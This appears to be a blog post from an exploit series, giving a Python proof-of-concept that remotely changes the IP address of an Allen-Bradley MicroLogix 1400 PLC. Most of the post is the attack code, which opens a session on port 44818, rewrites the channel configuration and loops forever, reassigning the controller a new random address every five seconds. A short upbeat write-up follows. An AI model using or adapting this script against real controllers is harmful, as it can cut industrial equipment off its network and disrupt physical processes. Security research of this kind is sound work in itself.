send_instruction(Return_edit_resource, session_handle) # Returning Edit resouces after Download completed # Initial IP address current_ip = '192.168.0.102' port = 44818 while True: # Generate a new IP address new_ip_addr = '192.168.0.{0}'.format(random.randint(103, 150)) # Create and connect the socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((current_ip, port)) # Register session session_handle = Register_Session() # Get and modify channel config channel_config = get_channel_config(session_handle) channel_config_header = { "byte_size": "\x50", "file_number": "\x01", "file_type": "\x49", "element_number": "\x00", "sub_element_number1": "\x00", "sub_element_number2": "\x28" } channel_config = modify_channel_config(new_ip_addr, channel_config, channel_config_header) print "\n\n Changing Current IP address {0} to new IP address {1}".format(current_ip, new_ip_addr) program_register(channel_config, session_handle) print "\n\n IP address successfully changed" # Update current_ip to new_ip_addr for the next round current_ip = new_ip_addr time.sleep(5) # Adjust the delay as needed |
POC Demo: Hacking PLCs with Python
Ever wondered what happens when you combine Python with a PLC ? It’s not a new programming language but a gateway to some serious digital shenanigans!
As shown in the video, we’re able to Remotely change IP of PLC.
Conclusion
In this , we examined the IP Address of PLC in the Allen-Bradley MicroLogix 1400 PLC. We covered how to manipulate IP settings and modify channel configurations.
Thank you for reading. Stay tuned for more insights and practical applications in PLC security.
<—Prev
Exploit # 10: Enable HTTP remotely
Next —->
Exploit # 12: User fault routine